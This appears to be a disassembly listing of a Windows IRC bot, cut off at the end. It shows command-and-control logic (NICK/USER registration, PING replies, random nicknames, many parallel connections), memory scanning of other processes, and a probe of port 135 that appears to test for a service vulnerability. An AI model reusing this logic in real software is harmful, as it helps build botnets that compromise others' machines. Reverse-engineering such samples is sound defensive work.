push [ebp+var_4] nop call near ptr 2670000h pop edi mov eax, esi pop ebx loc_417768: ; CODE XREF: sub_4175C4+24j pop esi leave retn sub_4175C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41776B proc near ; CODE XREF: sub_417269:loc_417361p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 26902C1h test eax, eax mov [ebp+arg_0], eax jz loc_41785D mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 27F02B1h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417854 mov edi, dword_427160 loc_4177B6: ; CODE XREF: sub_41776B+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call near ptr 27E0CA6h nop test eax, eax jz short loc_417842 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_417848 test [ebp+var_13], 1 jnz short loc_417848 push ecx push 8 call edi push eax call near ptr 27E0000h nop mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 27F0000h nop test eax, eax jz short loc_417834 push offset dword_4D1170 push esi call sub_4266CB pop ecx test eax, eax pop ecx jnz short loc_417834 lea eax, [esi+400h] push offset dword_4D1970 push eax call sub_4266CB pop ecx test eax, eax pop ecx jz short loc_417864 loc_417834: ; CODE XREF: sub_41776B+9Fj ; sub_41776B+B0j push esi push 0 call edi push eax nop call near ptr 27D05CAh jmp short loc_417848 ; --------------------------------------------------------------------------- loc_417842: ; CODE XREF: sub_41776B+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_417848: ; CODE XREF: sub_41776B+71j ; sub_41776B+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_4177B6 loc_417854: ; CODE XREF: sub_41776B+3Fj push [ebp+arg_0] nop call near ptr 2670000h loc_41785D: ; CODE XREF: sub_41776B+1Ej xor eax, eax loc_41785F: ; CODE XREF: sub_41776B+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417864: ; CODE XREF: sub_41776B+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D238C, ebx mov dword_4D2390, eax cmp [eax], cl jnz short loc_417886 cmp [eax+1], cl jz short loc_41788E loc_417886: ; CODE XREF: sub_41776B+114j ; sub_41776B+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417886 loc_41788E: ; CODE XREF: sub_41776B+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2670000h push 1 pop eax jmp short loc_41785F sub_41776B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178A1 proc near ; CODE XREF: sub_417269+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D2388 push esi mov esi, dword_427160 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call near ptr 27E0000h nop mov ecx, dword_4D2388 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D2390 push eax call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D2394 push eax call dword_4D2174 push [ebp+var_4] mov edi, offset dword_4D2180 push offset dword_4D1170 push offset dword_4D1970 push [ebp+arg_0] push offset dword_437EEC push 200h push edi call sub_41C100 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 27D05CAh mov eax, edi pop edi pop esi leave retn sub_4178A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417938 proc near ; CODE XREF: sub_417269:loc_4173A5p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D2388 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call near ptr 27E0C1Ah nop push eax call near ptr 27E0000h nop and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D1970 mov edi, 200h mov esi, offset dword_4D0F70 loc_41797E: ; CODE XREF: sub_417938+FAj mov eax, dword_4D2388 add eax, eax push eax push dword_4D2390 push [ebp+var_14] call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D2174 mov eax, dword_4D2388 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4179F3 loc_4179BB: ; CODE XREF: sub_417938+B3j cmp [ebp+var_8], 0 jz short loc_417A10 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4179DF cmp byte ptr [ecx+1], 0 jnz short loc_4179DF cmp dl, 20h jnb short loc_4179D9 and [ebp+var_8], 0 loc_4179D9: ; CODE XREF: sub_417938+9Bj cmp [ebp+var_1], 7Eh jbe short loc_4179E3 loc_4179DF: ; CODE XREF: sub_417938+90j ; sub_417938+96j and [ebp+var_8], 0 loc_4179E3: ; CODE XREF: sub_417938+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_4179BB cmp [ebp+var_8], 0 jz short loc_417A10 loc_4179F3: ; CODE XREF: sub_417938+81j push [ebp+var_14] push offset dword_4D1170 push ebx push [ebp+arg_0] push offset dword_437EEC push edi push esi call sub_41C100 add esp, 1Ch jmp short loc_417A28 ; --------------------------------------------------------------------------- loc_417A10: ; CODE XREF: sub_417938+87j ; sub_417938+B9j push offset dword_4D1170 push ebx push [ebp+arg_0] push offset dword_437F3C push edi push esi call sub_41C100 add esp, 18h loc_417A28: ; CODE XREF: sub_417938+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41797E push [ebp+var_14] push 0 nop call near ptr 27E0C1Ah push eax call near ptr 27D05CAh nop mov eax, esi pop edi pop esi pop ebx leave retn sub_417938 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A51 proc near ; CODE XREF: sub_417C15+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4C9384 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_417ACD push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4C9304 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4C9344 cmp eax, esi jnz short loc_417AB2 push [ebp+arg_0] call dword_4C9388 test eax, eax jz short loc_417ACD mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417AB2: ; CODE XREF: sub_417A51+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4C92AC cmp eax, esi jnz short loc_417AD1 push edi call dword_4C939C loc_417ACD: ; CODE XREF: sub_417A51+1Bj ; sub_417A51+58j mov eax, esi jmp short loc_417AD3 ; --------------------------------------------------------------------------- loc_417AD1: ; CODE XREF: sub_417A51+73j mov eax, edi loc_417AD3: ; CODE XREF: sub_417A51+7Ej pop edi pop esi leave retn sub_417A51 endp ; =============== S U B R O U T I N E ======================================= sub_417AD7 proc near ; CODE XREF: sub_401AC7+3275p ; sub_401AC7+32DCp ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42A084 ; "\n" push edi call sub_41C630 pop ecx mov esi, offset dword_4D239C pop ecx loc_417AEF: ; CODE XREF: sub_417AD7+42j cmp dword ptr [esi-4], 1 jnz short loc_417B0D cmp dword ptr [esi], 0 jbe short loc_417B0D push 0 push edi call sub_41B960 pop ecx push eax push edi push dword ptr [esi] call dword_4C9354 loc_417B0D: ; CODE XREF: sub_417AD7+1Cj ; sub_417AD7+21j add esi, 210h cmp esi, offset dword_4D8ABC jl short loc_417AEF pop edi pop esi retn sub_417AD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B1E proc near ; CODE XREF: sub_417C15+152p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CDCC ; " " push edi push esi push [ebp+arg_0] call sub_41C864 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_417B43: ; CODE XREF: sub_417B1E+35j push esi push 0 call sub_41C864 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_417B43 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_417B6B cmp esi, edi jnz short loc_417B6B push 1 pop eax jmp loc_417C10 ; --------------------------------------------------------------------------- loc_417B6B: ; CODE XREF: sub_417B1E+3Fj ; sub_417B1E+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C7E0 pop ecx pop ecx test eax, eax push esi jnz short loc_417B95 lea eax, [ebp+var_220] push offset dword_438B54 push eax call sub_41C006 add esp, 0Ch jmp short loc_417BEF ; --------------------------------------------------------------------------- loc_417B95: ; CODE XREF: sub_417B1E+5Fj push offset a433 ; "433" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_417BB6 push esi push offset dword_438B50 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_417C0E loc_417BB6: ; CODE XREF: sub_417B1E+85j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41BD10 lea eax, [ebp+var_420] push eax call sub_417E35 lea eax, [ebp+var_420] push eax lea eax, [ebp+var_220] push offset dword_438B44 push eax call sub_41C006 add esp, 1Ch loc_417BEF: ; CODE XREF: sub_417B1E+75j lea eax, [ebp+var_220] push edi push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4C9354 loc_417C0E: ; CODE XREF: sub_417B1E+96j xor eax, eax loc_417C10: ; CODE XREF: sub_417B1E+48j pop edi pop esi pop ebx leave retn sub_417B1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C15 proc near ; DATA XREF: sub_417DB7+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41C2A0 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D23A4[esi] mov dword_4D2398[esi], edi push dword_4D25A4[esi] push eax call sub_417A51 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D239C[esi], eax jb loc_417D97 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41BD10 lea eax, [ebp+var_2008] push eax call sub_417E35 lea eax, [ebp+var_4008] push eax call sub_417E35 lea eax, [ebp+var_3008] push eax call sub_417E35 lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41C006 add esp, 2Ch lea eax, [ebp+var_1008] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D239C[esi] call dword_4C9354 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BD10 add esp, 0Ch loc_417CEE: ; CODE XREF: sub_417C15+10Ej ; sub_417C15+17Dj push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D239C[esi] call dword_4C931C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417D97 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417CEE loc_417D25: ; CODE XREF: sub_417C15+17Bj mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417D4C cmp al, 0Ah jz short loc_417D4C cmp [ebp+arg_0], 0FA0h jz short loc_417D4C mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417D86 ; --------------------------------------------------------------------------- loc_417D4C: ; CODE XREF: sub_417C15+119j ; sub_417C15+11Dj ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417D86 push dword_4D239C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_417B1E pop ecx test eax, eax pop ecx ja short loc_417D97 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41BD10 add esp, 0Ch mov [ebp+arg_0], ebx loc_417D86: ; CODE XREF: sub_417C15+135j ; sub_417C15+13Cj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_417D25 jmp loc_417CEE ; --------------------------------------------------------------------------- loc_417D97: ; CODE XREF: sub_417C15+40j ; sub_417C15+104j ... mov dword_4D2398[esi], ebx mov esi, dword_4D239C[esi] cmp esi, ebx jbe short loc_417DAE push esi call dword_4C939C loc_417DAE: ; CODE XREF: sub_417C15+190j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_417C15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DB7 proc near ; CODE XREF: sub_401AC7+31CAp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417E30 loc_417DC9: ; CODE XREF: sub_417DB7+77j xor edi, edi mov eax, offset dword_4D2398 loc_417DD0: ; CODE XREF: sub_417DB7+28j cmp [eax], ebx jz short loc_417DE1 add eax, 210h inc edi cmp eax, offset dword_4D8AB8 jl short loc_417DD0 loc_417DE1: ; CODE XREF: sub_417DB7+1Bj cmp edi, 31h jz short loc_417E30 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D23A4[esi] push eax call sub_41C620 mov eax, [ebp+arg_4] pop ecx mov dword_4D25A4[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D2398[esi], 1 push eax push ebx push edi push offset sub_417C15 push ebx push ebx nop call near ptr 269009Ch inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417DC9 loc_417E30: ; CODE XREF: sub_417DB7+10j ; sub_417DB7+2Dj pop edi pop esi pop ebx leave retn sub_417DB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E35 proc near ; CODE XREF: sub_401AC7+3713p ; sub_401AC7+375Ap ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41BD10 add esp, 0Ch call sub_41C062 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F0 call sub_41CF04 cmp eax, 1 jnz short loc_417E7F call sub_41C062 call sub_41C062 push 66h cdq pop ecx idiv ecx push dword ptr loc_43828B+5[edx*4] jmp short loc_417E98 ; --------------------------------------------------------------------------- loc_417E7F: ; CODE XREF: sub_417E35+2Fj call sub_41C062 call sub_41C062 cdq mov ecx, 0C0h idiv ecx push off_437F90[edx*4] loc_417E98: ; CODE XREF: sub_417E35+48j lea eax, [ebp+var_2C] push eax call sub_41C620 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41B960 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E8 call sub_41CF04 mov ebx, eax call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E0 call sub_41CF04 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417F0B cmp esi, 3 jnz short loc_417F02 cmp ebx, 1 jz short loc_417F0B loc_417F02: ; CODE XREF: sub_417E35+C6j cmp eax, 1 jnz loc_417FC5 loc_417F0B: ; CODE XREF: sub_417E35+C1j ; sub_417E35+CBj call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41CF04 push dword ptr loc_43828B+5[eax*4] lea eax, [ebp+var_40] push eax call sub_41C620 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41C720 add esp, 10h test eax, eax jnz short loc_417FB2 movsx eax, [ebp+var_40] push eax push edi call sub_41C720 pop ecx test eax, eax pop ecx jnz short loc_417FB2 call sub_41C062 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 call sub_41CF04 cmp eax, 1 jnz short loc_417FB2 push edi call sub_41B960 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E0 call sub_41CF04 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417FB2: ; CODE XREF: sub_417E35+111j ; sub_417E35+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C950 add esp, 0Ch loc_417FC5: ; CODE XREF: sub_417E35+D0j lea eax, [ebp+var_2C] push eax call sub_41B960 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41DDE8 pop ecx test eax, eax pop ecx jnz loc_41822D and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C720 pop ecx test eax, eax pop ecx jnz loc_418124 call sub_41C062 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 call sub_41CF04 cmp esi, 3 jz short loc_418033 cmp eax, 1 jnz loc_418124 loc_418033: ; CODE XREF: sub_417E35+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_418075 push edi call sub_41B960 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E0 call sub_41CF04 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_418091 ; --------------------------------------------------------------------------- loc_418075: ; CODE XREF: sub_417E35+207j call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41CF04 mov cl, 41h sub cl, al mov [ebx], cl loc_418091: ; CODE XREF: sub_417E35+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41CF04 cmp esi, 3 jz short loc_4180BA cmp eax, ebx jnz short loc_418124 loc_4180BA: ; CODE XREF: sub_417E35+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_4180FF push edi call sub_41B960 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E0 call sub_41CF04 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_41811D ; --------------------------------------------------------------------------- loc_4180FF: ; CODE XREF: sub_417E35+28Fj call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41CF04 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_41811D: ; CODE XREF: sub_417E35+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_418124: ; CODE XREF: sub_417E35+1C9j ; sub_417E35+1F8j ... cmp esi, 6 jge loc_4181AD cmp esi, 5 jge short loc_418145 call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E8 jmp short loc_418163 ; --------------------------------------------------------------------------- loc_418145: ; CODE XREF: sub_417E35+2FBj call sub_41C062 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 loc_418163: ; CODE XREF: sub_417E35+30Ej call sub_41CF04 test eax, eax jnz short loc_418186 call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41CF04 mov cl, 30h jmp short loc_4181A3 ; --------------------------------------------------------------------------- loc_418186: ; CODE XREF: sub_417E35+335j cmp eax, 1 jnz short loc_4181AD call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41CF04 mov cl, 41h loc_4181A3: ; CODE XREF: sub_417E35+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_4181AD: ; CODE XREF: sub_417E35+2F2j ; sub_417E35+354j cmp [ebp+var_C], 2 jge short loc_41822D call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E0 call sub_41CF04 cmp eax, 1 jnz short loc_41822D call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41CF04 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41CF04 cmp eax, 1 jnz short loc_41822D cmp [ebp+var_C], eax jge short loc_41822D call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B0 call sub_41CF04 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_41822D: ; CODE XREF: sub_417E35+1B1j ; sub_417E35+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41BD70 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418246 proc near ; CODE XREF: sub_41827E+125p ; sub_41827E+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_418274 loc_418257: ; CODE XREF: sub_418246+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41DE40 add esp, 0Ch test eax, eax jz short loc_41827A inc esi cmp esi, edi jl short loc_418257 loc_418274: ; CODE XREF: sub_418246+Fj xor al, al loc_418276: ; CODE XREF: sub_418246+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_41827A: ; CODE XREF: sub_418246+27j mov al, 1 jmp short loc_418276 sub_418246 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41827E proc near ; CODE XREF: ___:0040DFC8p ; ___:0040E0B1p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41C2A0 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_4182BF dec eax jz short loc_41829D dec eax loc_418297: ; CODE XREF: sub_41827E+57j xor eax, eax loc_418299: ; CODE XREF: sub_41827E+3Fj ; sub_41827E+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_41829D: ; CODE XREF: sub_41827E+16j push 3 push 1388h push [ebp+arg_0] call dword_4C9344 push eax call sub_40C336 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_418299 ; --------------------------------------------------------------------------- loc_4182BF: ; CODE XREF: sub_41827E+13j push 6 push 1 push 2 call dword_4C9384 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_418297 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_4C9304 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A8E4 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4C92AC cmp eax, edi jz loc_4183DB push ebx push 48h push offset dword_438B9C push esi call dword_4C9354 cmp eax, edi jz loc_4183DB mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4C931C cmp eax, edi jz loc_4183DB cmp [ebp+var_200E], 0Ch jnz short loc_4183DB push ebx push 18h push offset dword_438BE8 push [ebp+arg_4] call dword_4C9354 cmp eax, edi jz short loc_4183DB push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4C931C mov esi, eax cmp esi, edi jz short loc_4183DB cmp [ebp+var_200E], 2 jnz short loc_4183DB push 10h push offset loc_438C04 lea eax, [ebp+var_2010] push esi push eax call sub_418246 add esp, 10h test al, al jz short loc_4183BB cmp esi, 12Ch setnl bl inc ebx jmp short loc_4183DB ; --------------------------------------------------------------------------- loc_4183BB: ; CODE XREF: sub_41827E+12Fj push 10h push offset dword_438C18 lea eax, [ebp+var_2010] push esi push eax call sub_418246 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_4183DB: ; CODE XREF: sub_41827E+9Bj ; sub_41827E+B2j ... push [ebp+arg_4] call dword_4C939C mov eax, ebx pop ebx jmp loc_418299 sub_41827E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4183EC proc near ; CODE XREF: sub_401AC7+BC3p ; sub_401AC7+C00p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_418477 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_418477 cmp [ebp+arg_8], esi jz short loc_418477 cmp byte ptr [eax], 0 jz short loc_418477 push ebx push edi call sub_426340 mov ebx, eax pop ecx test ebx, ebx jz short loc_418472 push [ebp+arg_4] push edi call sub_41C080 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_41846B sub eax, edi push eax push edi push ebx call sub_41BD70 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41B960 push eax push [ebp+arg_8] push ebx call sub_41C950 push [ebp+arg_4] call sub_41B960 add eax, esi push eax push ebx call sub_41C630 push ebx push edi call sub_41C620 add esp, 30h mov esi, edi loc_41846B: ; CODE XREF: sub_4183EC+3Cj push ebx call sub_41BA31 pop ecx loc_418472: ; CODE XREF: sub_4183EC+2Bj mov eax, esi pop ebx jmp short loc_418479 ; --------------------------------------------------------------------------- loc_418477: ; CODE XREF: sub_4183EC+Cj ; sub_4183EC+13j ... xor eax, eax loc_418479: ; CODE XREF: sub_4183EC+89j pop edi pop esi pop ebp retn sub_4183EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41847D proc near ; CODE XREF: sub_40194F+E9p ; ___:00410CB2p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41BD10 mov esi, [ebp+arg_0] push esi call sub_41B960 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_4184B3 or eax, 